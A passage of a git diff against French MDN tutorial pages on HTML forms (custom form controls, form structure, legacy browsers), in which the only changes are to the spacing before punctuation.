b/files/fr/learn/forms/how_to_build_custom_form_controls/index.md index 80f5e7f772..2955e7560a 100644 --- a/files/fr/learn/forms/how_to_build_custom_form_controls/index.md +++ b/files/fr/learn/forms/how_to_build_custom_form_controls/index.md @@ -40,19 +40,19 @@ Le widget est dans son état normal : > **Note :** Déplacer le focus dans la page entre les divers widgets se fait généralement en appuyant sur la touche de tabulation, mais ce n'est pas la norme partout. Par exemple, circuler parmi les liens sur une page se fait dans Safari par défaut en utilisant la [combinaison Option+Tab](http://www.456bereastreet.com/archive/200906/enabling_keyboard_navigation_in_mac_os_x_web_browsers/). -Le widget est sans son état actif : +Le widget est sans son état actif : - l'utilisateur clique sur lui - l'utilisateur presse la touche Tabulation et obtient le focus - le widget était dans l'état ouvert et l'utilisateur a cliqué dessus. -Le widget est dans un état ouvert : +Le widget est dans un état ouvert : - le widget est dans un état autre que ouvert et l'utilisateur clique dessus. Maintenant que nous savons comment changer les états du widget, il est important de définir comment changer la valeur du widget : -La valeur change quand : +La valeur change quand : - l'utilisateur clique sur une option quand le widget est dans l'état ouvert - l'utilisateur presse la touche @@ -65,14 +65,14 @@ La valeur change quand : quand le widget est dans l'état actif -Enfin, définissons comment les options du widget doivent se comporter : +Enfin, définissons comment les options du widget doivent se comporter : - Quand le widget est ouvert, l'option sélectionnée est mise en valeur - Quand la souris est sur une option, l'option est mise en valeur et l'option précédemment mise en valeur revient à l'état normal Pour les besoins de notre exemple, nous nous arrêterons là ; cependant, si vous êtes un lecteur attentif, vous remarquerez que certains comportements ne sont pas précisés. Par exemple, que pensez-vous qu'il se passe si l'utilisateur appuie sur la touche Tabulation alors que le widget est dans l'état ouvert ? La réponse est… rien. D'accord, le bon comportement semble évident mais le fait est que, comme il n'est pas défini dans nos spécifications, il est très facile de fermer les yeux sur ce comportement. Dans un travail collaboratif, lorsque les personnes concevant le comportement du widget sont différentes de celles qui le mettent en œuvre, cette démarche se vérifiera. -Autre exemple amusant : que se passera-t-il si l'utilisateur presse les touches <kbd>↑</kbd> ou <kbd>↓</kbd> alors que le widget est à l'état ouvert ? Ici, c'est un peu plus délicat. Si vous considérez que l'état actif et l'état ouvert sont totalement différents, la réponse est encore une fois « rien ne se produira » parce que nous n'avons pas défini d'interactions clavier pour l'état ouvert. D'autre part, si vous considérez que l'état actif et l'état ouvert coïncident, la valeur peut changer mais l'option ne sera certainement pas mise en valeur en conséquence, encore une fois parce que nous n'avons pas défini d'interactions clavier sur les options lorsque le widget est dans son état ouvert (nous avons seulement défini ce qui doit se passer lorsque le widget est ouvert, mais rien après). +Autre exemple amusant : que se passera-t-il si l'utilisateur presse les touches <kbd>↑</kbd> ou <kbd>↓</kbd> alors que le widget est à l'état ouvert ? Ici, c'est un peu plus délicat. Si vous considérez que l'état actif et l'état ouvert sont totalement différents, la réponse est encore une fois « rien ne se produira » parce que nous n'avons pas défini d'interactions clavier pour l'état ouvert. D'autre part, si vous considérez que l'état actif et l'état ouvert coïncident, la valeur peut changer mais l'option ne sera certainement pas mise en valeur en conséquence, encore une fois parce que nous n'avons pas défini d'interactions clavier sur les options lorsque le widget est dans son état ouvert (nous avons seulement défini ce qui doit se passer lorsque le widget est ouvert, mais rien après). Dans notre exemple, les spécifications manquantes sont évidentes et nous les traiterons, mais cela peut devenir un problème réel sur de nouveaux widgets exotiques, pour lesquels personne n'a la moindre idée de ce qu'est le bon comportement. Il est donc toujours bon de passer du temps à l'étape conception, car si vous définissez pauvrement le comportement, ou si vous oubliez de le définir, il sera très difficile de le redéfinir une fois les utilisateurs habitués. Si vous avez des doutes, demandez l'avis des autres, et si vous avez le budget pour cela, n'hésitez pas à [faire des tests utilisateur](https://fr.wikipedia.org/wiki/Test_utilisateur). Ce processus est appelé UX Design (**U**ser e**X**perience). Si vous voulez en savoir plus sur ce sujet, vous devriez consulter les ressources utiles suivantes : @@ -213,7 +213,7 @@ Maintenant que nous avons mis en place les fonctionnalités de base, le divertis } .select .value { - /* Comme la valeur peut être plus large que le widget, nous devons nous + /* Comme la valeur peut être plus large que le widget, nous devons nous assurer qu'elle ne changera pas la largeur du widget. */ display : inline-block; width : 100%; @@ -353,7 +353,7 @@ Avant de commencer, il est important de se rappeler quelque chose de très impor - Le script ne se charge pas. La chose est très courante, en particulier dans le domaine des mobiles pour lesquels le réseau n'est pas sûr. - Le script est bogué. Il faut toujours prendre en considération cette éventualité. - Le script est en conflit avec un autre script tierce‑partie. Cela peut se produire avec des suites de scripts ou n'importe quel marque page utilisé par l'utilisateur. -- Le script est en conflit avec, ou est affecté par un extension de navigateur (comme l'extension « [No script](https://addons.mozilla.org/fr/firefox/addon/noscript/) » de Firefox ou « [Scripts »](https://chrome.google.com/webstore/detail/notscripts/odjhifogjcknibkahlpidmdajjpkkcfn) de Chrome). +- Le script est en conflit avec, ou est affecté par un extension de navigateur (comme l'extension « [No script](https://addons.mozilla.org/fr/firefox/addon/noscript/) » de Firefox ou « [Scripts »](https://chrome.google.com/webstore/detail/notscripts/odjhifogjcknibkahlpidmdajjpkkcfn) de Chrome). - L'utilisateur utilise un navigateur ancien et l'une des fonctions dont vous avez besoin n'est pas prise en charge. Cela se produira fréquemment lorsque vous utiliserez des API de pointe.s. @@ -362,7 +362,7 @@ Avant de commencer, il est important de se rappeler quelque chose de très impor En raison de ces aléas, il est vraiment important de considérer avec sérieux ce qui se passe si JavaScript ne fonctionne pas. Traiter en détail cette question est hors de la portée de cet article parce qu'elle est étroitement liée à la façon dont vous voulez rendre votre script générique et réutilisable, mais nous prendrons en considération les bases de ce sujet dans notre exemple. -Ainsi, si notre code JavaScript ne s'exécute pas, nous reviendrons à l'affichage d'un élément {{HTMLElement("select")}} standard. Pour y parvenir, nous avons besoin de deux choses. +Ainsi, si notre code JavaScript ne s'exécute pas, nous reviendrons à l'affichage d'un élément {{HTMLElement("select")}} standard. Pour y parvenir, nous avons besoin de deux choses. Tout d'abord, nous devons ajouter un élément {{HTMLElement("select")}} régulier avant chaque utilisation de notre widget personnalisé. Ceci est également nécessaire pour pouvoir envoyer les données de notre widget personnalisé avec le reste de nos données du formulaire ; nous reviendrons sur ce point plus tard. @@ -396,7 +396,7 @@ Tout d'abord, nous devons ajouter un élément {{HTMLElement("select")}} réguli -Deuxièmement, nous avons besoin de deux nouvelles classes pour nous permettre de cacher l'élément qui ne sert pas (c'est-à-dire l'élément{{HTMLElement("select")}} « réel » si notre script ne fonctionne pas, ou le widget personnalisé s'il fonctionne). Notez que par défaut, le code HTML cache le widget personnalisé. +Deuxièmement, nous avons besoin de deux nouvelles classes pour nous permettre de cacher l'élément qui ne sert pas (c'est-à-dire l'élément{{HTMLElement("select")}} « réel » si notre script ne fonctionne pas, ou le widget personnalisé s'il fonctionne). Notez que par défaut, le code HTML cache le widget personnalisé. ```css .widget select, @@ -414,7 +414,7 @@ Deuxièmement, nous avons besoin de deux nouvelles classes pour nous permettre d -Maintenant nous avons juste besoin d'un commutateur JavaScript pour déterminer si le script est en cours d'exécution ou non. Cette bascule est très simple : si au moment du chargement de la page notre script est en cours d'exécution, il supprime la classe no-widget et ajoute la classe widget, échangeant ainsi la visibilité de l'élément {{HTMLElement("select")}} et du widget personnalisé. +Maintenant nous avons juste besoin d'un commutateur JavaScript pour déterminer si le script est en cours d'exécution ou non. Cette bascule est très simple : si au moment du chargement de la page notre script est en cours d'exécution, il supprime la classe no-widget et ajoute la classe widget, échangeant ainsi la visibilité de l'élément {{HTMLElement("select")}} et du widget personnalisé. @@ -472,7 +472,7 @@ Les fonctionnalités que nous prévoyons d'utiliser sont les suivantes (classée 3. [`forEach`](/fr/docs/JavaScript/Reference/Global_Objects/Array/forEach "/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach") (ce n'est pas du DOM mais du JavaScript moderne) 4. {{domxref("element.querySelector","querySelector")}} et {{domxref("element.querySelectorAll","querySelectorAll")}} -Au-delà de la disponibilité de ces fonctionnalités spécifiques, il reste encore un problème avant de commencer. L'objet retourné par la fonction {{domxref("element.querySelectorAll","querySelectorAll()")}} est une {{domxref("NodeList")}} plutôt qu'un [`Array`](/fr/docs/JavaScript/Reference/Global_Objects/Array "/en-US/docs/JavaScript/Reference/Global_Objects/Array"). C'est important, car les objets `Array` acceptent la fonction [`forEach`](/fr/docs/JavaScript/Reference/Global_Objects/Array/forEach "/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach"), mais {{domxref("NodeList")}} ne le fait pas. Comme {{domxref("NodeList")}} ressemble vraiment à un `Array` et que `forEach` est d'utilisation si commode, nous pouvons facilement ajouter la prise en charge de `forEach à` {{domxref("NodeList")}} pour nous faciliter la vie, comme ceci : +Au-delà de la disponibilité de ces fonctionnalités spécifiques, il reste encore un problème avant de commencer. L'objet retourné par la fonction {{domxref("element.querySelectorAll","querySelectorAll()")}} est une {{domxref("NodeList")}} plutôt qu'un [`Array`](/fr/docs/JavaScript/Reference/Global_Objects/Array "/en-US/docs/JavaScript/Reference/Global_Objects/Array"). C'est important, car les objets `Array` acceptent la fonction [`forEach`](/fr/docs/JavaScript/Reference/Global_Objects/Array/forEach "/en-US/docs/JavaScript/Reference/Global_Objects/Array/forEach"), mais {{domxref("NodeList")}} ne le fait pas. Comme {{domxref("NodeList")}} ressemble vraiment à un `Array` et que `forEach` est d'utilisation si commode, nous pouvons facilement ajouter la prise en charge de `forEach à` {{domxref("NodeList")}} pour nous faciliter la vie, comme ceci : ```js NodeList.prototype.forEach = function (callback) { @@ -801,7 +801,7 @@ Pour prendre en charge le rôle `listbos`, nous n'avons qu'à mettre à jour not > **Note :** Inclure à la fois l'attribut `role` et l'attribut `class` n'est nécessaire que si vous souhaitez prendre en charge les navigateurs anciens qui n'acceptent pas les [selecteurs d'attribut CSS](/fr/docs/CSS/Attribute_selectors "/en-US/docs/CSS/Attribute_selectors"). -### L'attribut `aria-selected` +### L'attribut `aria-selected` Utiliser l'attribut `role` ne suffit pas. [ARIA](/fr/docs/Accessibility/ARIA "/en-US/docs/Accessibility/ARIA") fournit également de nombreux états et attributs de propriété. Plus vous les utiliserez, mieux votre widget sera compris par les techniques d'assistance. Dans notre cas, nous limiterons notre utilisation à un seul attribut : `aria-selected`. diff --git a/files/fr/learn/forms/how_to_structure_a_web_form/index.md b/files/fr/learn/forms/how_to_structure_a_web_form/index.md index a0a7954b36..6b79debae1 100644 --- a/files/fr/learn/forms/how_to_structure_a_web_form/index.md +++ b/files/fr/learn/forms/how_to_structure_a_web_form/index.md @@ -20,7 +20,7 @@ Les bases vues, nous examinons maintenant plus en détail les éléments utilis <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Notions concernant les ordinateurs et les <a href="/fr/docs/Learn/HTML/Introduction_to_HTML" @@ -29,7 +29,7 @@ Les bases vues, nous examinons maintenant plus en détail les éléments utilis </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Comprendre comment structurer les formulaires HTML et leur adjoindre la sémantique pour qu'ils soient utilisables et accessibles. @@ -82,7 +82,7 @@ Voici un petit exemple : > **Note :** Vous trouverez cet exemple dans [fieldset-legend.html](https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/fieldset-legend.html) (voir [directement aussi](https://mdn.github.io/learning-area/html/forms/html-form-structure/fieldset-legend.html)). -En lisant le formulaire ci-dessus, un lecteur d'écran dira « Taille du jus de fruit : petit » pour le premier widget, « Taille du jus de fruit : moyenne » pour le second, et « Taille du jus de fruit : grande » pour le troisième. +En lisant le formulaire ci-dessus, un lecteur d'écran dira « Taille du jus de fruit : petit » pour le premier widget, « Taille du jus de fruit : moyenne » pour le second, et « Taille du jus de fruit : grande » pour le troisième. Le scenario d'utilisation du lecteur dans cet exemple est l'un des plus importants. Chaque fois que vous avez un ensemble de boutons radio, vous devez les imbriquer dans un élément {{HTMLElement("fieldset")}}. Il y a d'autres scenarii d'utilisation, et en général l'élément {{HTMLElement("fieldset")}} peut aussi être utilisé pour partager un formulaire. Idéalement, les formulaires longs doivent être éclatés sur plusieurs pages, mais si un formulaire long doit être sur une page unique, le fait de placer les différentes sections connexes dans de différents {{HTMLElement("fieldset")}} peut en améliorer l'utilisation. @@ -90,31 +90,31 @@ En raison de son influence sur les techniques d'assistance, l'élément {{HTMLEl ## L'élément \<label> -Comme nous l'avons vu dans l'article précédent, l'élément {{HTMLElement("label")}} est le moyen naturel de définir une étiquette pour un widget de formulaire HTML. C'est l'élément le plus important si vous voulez créer des formulaires accessibles — lorsqu'ils sont correctement implémentés, les lecteurs d'écran énonceront l'étiquette d'un élément de formulaire selon toutes les instructions associées. Prenons cet exemple, que nous avons vu dans l'article précédent : +Comme nous l'avons vu dans l'article précédent, l'élément {{HTMLElement("label")}} est le moyen naturel de définir une étiquette pour un widget de formulaire HTML. C'est l'élément le plus important si vous voulez créer des formulaires accessibles — lorsqu'ils sont correctement implémentés, les lecteurs d'écran énonceront l'étiquette d'un élément de formulaire selon toutes les instructions associées. Prenons cet exemple, que nous avons vu dans l'article précédent : ```html -<label for="name">Nom :</label> <input type="text" id="name" name="user_name"> +<label for="name">Nom :</label> <input type="text" id="name" name="user_name"> ``` -Avec un élément `<label>` correctement associé à `<input>` par l'intermédiaire respectivement des attributs `for` et `id` (l'attribut `for` de \<label> référence l'attibut `id` du widget correspondant), un lecteur d'écran lira et dira quelque chose comme « Nom, texte indiqué ». +Avec un élément `<label>` correctement associé à `<input>` par l'intermédiaire respectivement des attributs `for` et `id` (l'attribut `for` de \<label> référence l'attibut `id` du widget correspondant), un lecteur d'écran lira et dira quelque chose comme « Nom, texte indiqué ». -Si l'étiquette n'est pas correctement paramétrée, le lecteur d'écran dira quelque chose comme « Texte édité vierge », ce qui n'est pas utile du tout. +Si l'étiquette n'est pas correctement paramétrée, le lecteur d'écran dira quelque chose comme « Texte édité vierge », ce qui n'est pas utile du tout. -Notez qu'un widget peut être incorporé dans son élément {{HTMLElement("label")}}, ainsi : +Notez qu'un widget peut être incorporé dans son élément {{HTMLElement("label")}}, ainsi : ```html <label for="name"> - Nom : <input type="text" id="name" name="user_name"> + Nom : <input type="text" id="name" name="user_name"> </label> ``` Toutefois, même dans ce cas, il est considéré de bonne pratique de définir l'attribut `for` parce que certaines techniques d'assistance ne font pas implicitement le lien entre les étiquettes et les widgets. -### Les étiquettes peuvent être cliquées, aussi ! +### Les étiquettes peuvent être cliquées, aussi ! -Autre avantage de bien configurer les étiquettes : vous pouvez cliquer sur l'étiquette pour activer le widget correspondant, dans tous les navigateurs. Utile, par exemple, pour des entrées de texte : vous pouvez cliquer sur l'étiquette ou la zone de texte pour y obtenir le curseur, mais c'est encore plus utile pour les boutons radio et les cases à cocher — la surface active au clic pour une telle commande peut être très réduite, il est donc utile de l'agrandir autant que possible. +Autre avantage de bien configurer les étiquettes : vous pouvez cliquer sur l'étiquette pour activer le widget correspondant, dans tous les navigateurs. Utile, par exemple, pour des entrées de texte : vous pouvez cliquer sur l'étiquette ou la zone de texte pour y obtenir le curseur, mais c'est encore plus utile pour les boutons radio et les cases à cocher — la surface active au clic pour une telle commande peut être très réduite, il est donc utile de l'agrandir autant que possible. -Par exemple : +Par exemple : ```html <form> @@ -135,43 +135,43 @@ Par exemple : En fait, il est possible d'associer plusieurs étiquettes à un seul widget, mais ce n'est pas une bonne idée car certaines techniques d'assistance peuvent éprouver du trouble pour leur gestion. Dans le cas d'étiquettes multiples, vous devez incorporer le widget et son étiquette dans un seul élément {{htmlelement("label")}}. -Considérons cet exemple : +Considérons cet exemple : ```html <p>Les champs obligatoires sont suivis de <abbr title="required">*</abbr>.</p> -<!-- Donc ceci : --> +<!-- Donc ceci : --> <div> - <label for="username">Nom :</label> + <label for="username">Nom :</label> <input type="text" name="username"> <label for="username"><abbr title="required">*</abbr></label> </div> -<!-- sera mieux programmé ainsi : --> +<!-- sera mieux programmé ainsi : --> <div> <label for="username"> - <span>Nom :</span> + <span>Nom :</span> <input id="username" type="text" name="username"> <abbr title="required">*</abbr> </label> </div> -<!-- mais ceci est probablement encore meilleur : --> +<!-- mais ceci est probablement encore meilleur : --> <div> - <label for="username">Nom :<abbr title="required">*</abbr></label> + <label for="username">Nom :<abbr title="required">*</abbr></label> <input id="username" type="text" name="username"> </div> ``` -Le paragraphe du haut définit la règle pour les éléments obligatoires. Ce doit être au début pour s'assurer que les techniques d'assistance telles que les lecteurs d'écran l'afficheront ou le vocaliseront à l'utilisateur avant qu'il ne trouve un élément obligatoire. Ainsi, ils sauront ce que signifie l'astérisque. Un lecteur d'écran mentionnera l'astérisque en disant « astérisque » ou « obligatoire », selon les réglages du lecteur d'écran — dans tous les cas, ce qui sera dit est clairement précisé dans le premier paragraphe. +Le paragraphe du haut définit la règle pour les éléments obligatoires. Ce doit être au début pour s'assurer que les techniques d'assistance telles que les lecteurs d'écran l'afficheront ou le vocaliseront à l'utilisateur avant qu'il ne trouve un élément obligatoire. Ainsi, ils sauront ce que signifie l'astérisque. Un lecteur d'écran mentionnera l'astérisque en disant « astérisque » ou « obligatoire », selon les réglages du lecteur d'écran — dans tous les cas, ce qui sera dit est clairement précisé dans le premier paragraphe. -- Dans le premier exemple, l'étiquette n'est pas lue du tout avec l'entrée — vous obtenez simplement « texte édité vierge », puis les étiquettes réelles sont lues séparément. Les multiples éléments \<label> embrouillent le lecteur d'écran. -- Dans le deuxième exemple, les choses sont un peu plus claires — l'étiquette lue en même temps que l'entrée est « nom astérisque nom éditer texte », et les étiquettes sont toujours lues séparément. Les choses sont encore un peu confuses, mais c'est un peu mieux cette fois parce que l'entrée a une étiquette associée. -- Le troisième exemple est meilleur — les véritables étiquettes sont toutes lues ensemble, et l'étiquette énoncée avec l'entrée est « nom astériquer éditer texte ». +- Dans le premier exemple, l'étiquette n'est pas lue du tout avec l'entrée — vous obtenez simplement « texte édité vierge », puis les étiquettes réelles sont lues séparément. Les multiples éléments \<label> embrouillent le lecteur d'écran. +- Dans le deuxième exemple, les choses sont un peu plus claires — l'étiquette lue en même temps que l'entrée est « nom astérisque nom éditer texte », et les étiquettes sont toujours lues séparément. Les choses sont encore un peu confuses, mais c'est un peu mieux cette fois parce que l'entrée a une étiquette associée. +- Le troisième exemple est meilleur — les véritables étiquettes sont toutes lues ensemble, et l'étiquette énoncée avec l'entrée est « nom astériquer éditer texte ». > **Note :** Vous pouvez obtenir des résultats légérement différents, selon votre lecteur d'écran. Ce qui précéde a été testé avec VoiceOver (et NVDA se comporte de la même façon). Nous aimerions avoir un retour sur vos expériences également. -> **Note :** Vous trouverez cet exemple sur GitHub dans [required-labels.html](https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/required-labels.html) (à voir [directement aussi](https://mdn.github.io/learning-area/html/forms/html-form-structure/required-labels.html)). Ne lancez pas l'exemple avec 2 ou 3 version non mises en commentaires — le lecteur d'écran serait totalement embrouillé s'il y a plusieurs étiquettes ET plusieurs entrées avec le même ID ! +> **Note :** Vous trouverez cet exemple sur GitHub dans [required-labels.html](https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/required-labels.html) (à voir [directement aussi](https://mdn.github.io/learning-area/html/forms/html-form-structure/required-labels.html)). Ne lancez pas l'exemple avec 2 ou 3 version non mises en commentaires — le lecteur d'écran serait totalement embrouillé s'il y a plusieurs étiquettes ET plusieurs entrées avec le même ID ! ## Structures HTML courantes dans les formulaires @@ -185,18 +185,18 @@ Par-dessus tout, il vous appartient de trouver un style où vous vous sentez à Chaque groupe de fonctionnalités séparées doit être contenu dans un élément {{htmlelement("section")}} et les boutons radio dans un élément {{htmlelement("fieldset")}}. -### Apprentissage actif : construire une structure de formulaire +### Apprentissage actif : construire une structure de formulaire -Mettons ces idées en pratique et construisons une structure de formulaire un peu plus sophistiquée — un formulaire de paiement. Il contiendra un certain nombre de types de widgets que vous ne comprenez pas encore — ne vous inquiétez pas pour l'instant ; vous découvrirez comment ils fonctionnent dans l'article suivant ([Les widgets natifs pour formulaire](/fr/docs/Learn/HTML/Forms/The_native_form_widgets)). Pour l'instant, lisez attentivement les descriptions en suivant les instructions ci-dessous et commencez à vous faire une idée des éléments enveloppes que nous utilisons pour structurer le formulaire, et pourquoi. +Mettons ces idées en pratique et construisons une structure de formulaire un peu plus sophistiquée — un formulaire de paiement. Il contiendra un certain nombre de types de widgets que vous ne comprenez pas encore — ne vous inquiétez pas pour l'instant ; vous découvrirez comment ils fonctionnent dans l'article suivant ([Les widgets natifs pour formulaire](/fr/docs/Learn/HTML/Forms/The_native_form_widgets)). Pour l'instant, lisez attentivement les descriptions en suivant les instructions ci-dessous et commencez à vous faire une idée des éléments enveloppes que nous utilisons pour structurer le formulaire, et pourquoi. 1. Pour commencer, faites une copie locale de notre [fichier modèle vierge](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html) et des [CSS pour notre formulaire de paiement](https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/payment-form.css) dans un nouveau répertoire. -2. Primo, appliquez les CSS au HTML en ajoutant la ligne suivante dans l'élément {{htmlelement("head")}} du HTML : +2. Primo, appliquez les CSS au HTML en ajoutant la ligne suivante dans l'élément {{htmlelement("head")}} du HTML : ```html <link href="payment-form.css" rel="stylesheet"> ``` -3. Ensuite, commencez le formulaire en ajoutant un élément {{htmlelement("form")}} : +3. Ensuite, commencez le formulaire en ajoutant un élément {{htmlelement("form")}} : ```html <form> @@ -204,7 +204,7 @@ Mettons ces idées en pratique et construisons une structure de formulaire un pe </form> ``` -4. Entre les balises `<form>`, ajoutez un en‑tête et un paragraphe pour informer les utilisateurs comment sont marqués les champs obligatoires : +4. Entre les balises `<form>`, ajoutez un en‑tête et un paragraphe pour informer les utilisateurs comment sont marqués les champs obligatoires : ```html <h1>Formulaire de paiement</h1> @@ -235,21 +235,21 @@ Mettons ces idées en pratique et construisons une structure de formulaire un pe </fieldset> <p> <label for="name"> - <span>Nom : </span> + <span>Nom : </span> <strong><abbr title="required">*</abbr></strong> </label> <input type="text" id="name" name="username"> </p> <p> <label for="mail"> - <span>e-mail :</span> + <span>e-mail :</span> <strong><abbr title="required">*</abbr></strong> </label> <input type="email" id="mail" name="usermail"> </p> <p> <label for="pwd"> - <span>Mot de passe :</span> + <span>Mot de passe :</span> <strong><abbr title="required">*</abbr></strong> </label> <input type="password" id="pwd" name="password"> @@ -257,14 +257,14 @@ Mettons ces idées en pratique et construisons une structure de formulaire un pe </section> ``` -6. Nous arrivons maintenant à la deuxième `<section>` de notre formulaire — l'information de paiement. Ici nous avons trois widgets distincts avec leur étiquette, chacun contenu dans un paragraphe `<p>`. Le premier est un menu déroulant ({{htmlelement("select")}}) pour le choix du type de la carte de crédit. Le deuxième est un élément `<input>` de type nombre pour entrer le numéro de la carte de crédit. Le dernier est un élément `<input>` de type `date` pour entrer la date d'expiration de la carte de crédit (il sera accompagné d'un widget dateur pour les navigateurs prenant en charge cette fonctionnalité, et sera un simple champ textuel pour les navigateurs ne la prenant pas en charge). À nouveau, entrez ce qui suit après la section ci‑dessus : +6. Nous arrivons maintenant à la deuxième `<section>` de notre formulaire — l'information de paiement. Ici nous avons trois widgets distincts avec leur étiquette, chacun contenu dans un paragraphe `<p>`. Le premier est un menu déroulant ({{htmlelement("select")}}) pour le choix du type de la carte de crédit. Le deuxième est un élément `<input>` de type nombre pour entrer le numéro de la carte de crédit. Le dernier est un élément `<input>` de type `date` pour entrer la date d'expiration de la carte de crédit (il sera accompagné d'un widget dateur pour les navigateurs prenant en charge cette fonctionnalité, et sera un simple champ textuel pour les navigateurs ne la prenant pas en charge). À nouveau, entrez ce qui suit après la section ci‑dessus : ```html <section> <h2>Informations de paiement</h2> <p> <label for="card"> - <span>Type de carte :</span> + <span>Type de carte :</span> </label> <select id="card" name="usercard"> <option value="visa">Visa</option> @@ -274,14 +274,14 @@ Mettons ces idées en pratique et construisons une structure de formulaire un pe </p> <p> <label for="number"> - <span>Numéro de carte :</span> + <span>Numéro de carte :</span> <strong><abbr title="required">*</abbr></strong> </label> <input type="text" id="number" name="cardnumber"> </p> <p> <label for="date"> - <span>Validité :</span> + <span>Validité :</span> <strong><abbr title="required">*</abbr></strong> <em>format mm/aa</em> </label> @@ -290,7 +290,7 @@ Mettons ces idées en pratique et construisons une structure de formulaire un pe </section> ``` -7. La dernière section est plus simple ; elle ne contient qu'un bouton {{htmlelement("button")}} de type `submit`, pour adresser les données du formulaire. Ajoutez ceci au bas du formulaire : +7. La dernière section est plus simple ; elle ne contient qu'un bouton {{htmlelement("button")}} de type `submit`, pour adresser les données du formulaire. Ajoutez ceci au bas du formulaire : ```html <p> <button type="submit">Valider le paiement</button> </p> @@ -302,7 +302,7 @@ Vous pouvez voir le formulaire terminé en action ci‑dessous (vous le trouvere ## Résumé -Nous savons maintenant ce qu'il faut faire pour structurer de manière appropriée un formulaire HTML ; l'article suivant approfondira la mise en œuvre des divers types de widgets pour formulaire pour collecter les informations utilisateur. +Nous savons maintenant ce qu'il faut faire pour structurer de manière appropriée un formulaire HTML ; l'article suivant approfondira la mise en œuvre des divers types de widgets pour formulaire pour collecter les informations utilisateur. ## Voir aussi diff --git a/files/fr/learn/forms/html_forms_in_legacy_browsers/index.md b/files/fr/learn/forms/html_forms_in_legacy_browsers/index.md index 01405dcce2..f9fe8ecdf5 100644 --- a/files/fr/learn/forms/html_forms_in_legacy_browsers/index.md +++ b/files/fr/learn/forms/html_forms_in_legacy_browsers/index.md @@ -6,9 +6,9 @@ original_slug: Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers --- {{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript", "Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML", "Web/Guide/HTML/Formulaires")}} -Tout développeur apprend très rapidement (parfois difficilement) que le Web est un endroit assez inconfortable. Le pire des fléaux est le « navigateur historique ». Oui, admettons‑le, si on dit « navigateur historique », nous pensons tous aux anciennes versions d'Internet Explorer ... mais elles sont loin d'être les seules. Les premières versions de Firefox, comme la [version ESR,](http://www.mozilla.org/en-US/firefox/organizations/) sont aussi des « navigateurs historiques ». Et dans le monde du mobile ? Quand ni le navigateur ni l'OS ne peut être mis à jour? Oui, il y a beaucoup de vieux smartphones Android ou des iPhones dont le navigateur par défaut n'est pas à jour. Ceux-ci sont aussi des « navigateurs historiques ». +Tout développeur apprend très rapidement (parfois difficilement) que le Web est un endroit assez inconfortable. Le pire des fléaux est le « navigateur historique ». Oui, admettons‑le, si on dit « navigateur historique », nous pensons tous aux anciennes versions d'Internet Explorer ... mais elles sont loin d'être les seules. Les premières versions de Firefox, comme la [version ESR,](http://www.mozilla.org/en-US/firefox/organizations/) sont aussi des « navigateurs historiques ». Et dans le monde du mobile ? Quand ni le navigateur ni l'OS ne peut être mis à jour? Oui, il y a beaucoup de vieux smartphones Android ou des iPhones dont le navigateur par défaut n'est pas à jour. Ceux-ci sont aussi des « navigateurs historiques ». -Malheureusement, parcourir cette jungle est une facette du métier. Mais opportunément, il existe quelques astuces pour nous aider à résoudre 80 % des problèmes causés par ces vieilles versions de navigateur. +Malheureusement, parcourir cette jungle est une facette du métier. Mais opportunément, il existe quelques astuces pour nous aider à résoudre 80 % des problèmes causés par ces vieilles versions de navigateur. ## S'informer sur les difficultés @@ -16,9 +16,9 @@ En fait, lire la documentation sur ces navigateurs est la chose la plus importan ### Documentation du fournisseur du navigateur -- Mozilla : vous êtes au bon endroit, explorez juste MDN -- Microsoft : [Documentation sur la prise en charge de la norme par Internet Explorer](http://msdn.microsoft.com/en-us/library/ff410218%28v=vs.85%29.aspx) -- WebKit : comme il y a plusieurs versions de ce moteur, les choses se compliquent : +- Mozilla : vous êtes au bon endroit, explorez juste MDN +- Microsoft : [Documentation sur la prise en charge de la norme par Internet Explorer](http://msdn.microsoft.com/en-us/library/ff410218%28v=vs.85%29.aspx) +- WebKit : comme il y a plusieurs versions de ce moteur, les choses se compliquent : - [le Blog WebKit](https://www.webkit.org/blog/) et [Planet WebKit](http://planet.webkit.org/) rassemblent les meilleurs articles par les déveoppeurs WebKit. - [l](https://www.chromestatus.com/features)e site État de la p[lateforme Chrome](https://www.chromestatus.com/features) est aussi importante. @@ -29,13 +29,13 @@ En fait, lire la documentation sur ces navigateurs est la chose la plus importan - [Can I Use](http://caniuse.com) a des informations sur la prise en charge des techniques avancées. - [Quirks Mode](http://www.quirksmode.org) est une surprenante ressource sur la compatibilité des divers navigateurs. [La partie sur les mobiles](http://www.quirksmode.org/mobile/) est la meilleure actuellement disponible. - [Position Is Everything](http://positioniseverything.net/) est la meilleure ressource disponible sur les bogues de rendu dans les navigateurs historiques et leur solution de contournement (le cas échéant). -- [Mobile HTML5](http://mobilehtml5.org) dispose d'informations de compatibilité pour une large gamme de navigateurs pour mobiles, et pas seulement pour le « top 5 » (y compris Nokia, Amazon et Blackberry). +- [Mobile HTML5](http://mobilehtml5.org) dispose d'informations de compatibilité pour une large gamme de navigateurs pour mobiles, et pas seulement pour le « top 5 » (y compris Nokia, Amazon et Blackberry). ## Rendre les choses simples -Comme les [formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires) impliquent des interactions complexes, une règle empirique : [restez aussi simple que possible](https://fr.wikipedia.org/wiki/Principe_KISS). Il y a tant de cas où nous voudrions que des formulaires soient « plus beaux » ou « avec des fonctionnalités avancées » ! Mais construire des formulaires HTML efficaces n'est pas une question de design ou de technique. Pour rappel, prenez le temps de lire cet article sur l'[ergonomie des formulaires sur UX For The Masses](http://www.uxforthemasses.com/forms-usability/) (en anglais). +Comme les [formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires) impliquent des interactions complexes, une règle empirique : [restez aussi simple que possible](https://fr.wikipedia.org/wiki/Principe_KISS). Il y a tant de cas où nous voudrions que 